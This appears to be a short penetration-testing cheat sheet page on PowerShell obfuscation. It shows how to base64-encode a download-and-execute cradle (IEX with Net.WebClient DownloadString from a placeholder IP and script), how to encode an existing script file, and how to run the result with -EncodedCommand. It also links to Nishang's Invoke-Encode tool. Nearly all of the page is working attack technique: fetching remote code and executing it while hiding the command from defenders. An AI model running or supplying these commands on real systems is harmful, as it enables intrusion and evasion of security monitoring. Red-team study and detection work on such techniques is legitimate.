OBFUSCATION

Encode a PowerShell command in base64 format

$command = 'IEX (New-Object Net.WebClient).DownloadString("http://<IP>/<SCRIPT>")'
$bytes = [System.Text.Encoding]::Unicode.GetBytes($command)
$encodedCommand = [Convert]::ToBase64String($bytes)

Encode existing command in the system in base64 format

$encodedCommad = [System.Convert]::ToBase64String([System.IO.File]::ReadAllBytes('<PATH TO SCRIPT>')) 

Run encoded command in PowerShell

Powershell -EncodedCommand $encodedCommand

Invoke-Encode

https://github.com/samratashok/nishang/blob/master/Utility/Invoke-Encode.ps1

Last updated